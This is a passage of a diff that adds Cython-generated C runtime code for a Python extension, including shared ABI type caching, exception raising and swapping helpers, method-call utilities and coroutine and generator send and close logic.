PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Generator_Next(yf); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, Py_None); + } else + #endif + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + return __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_SendEx(gen, Py_None, 0); +} +static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self); +} +static PyObject *__Pyx_Coroutine_Close(PyObject *self) { + __pyx_CoroutineObject *gen = 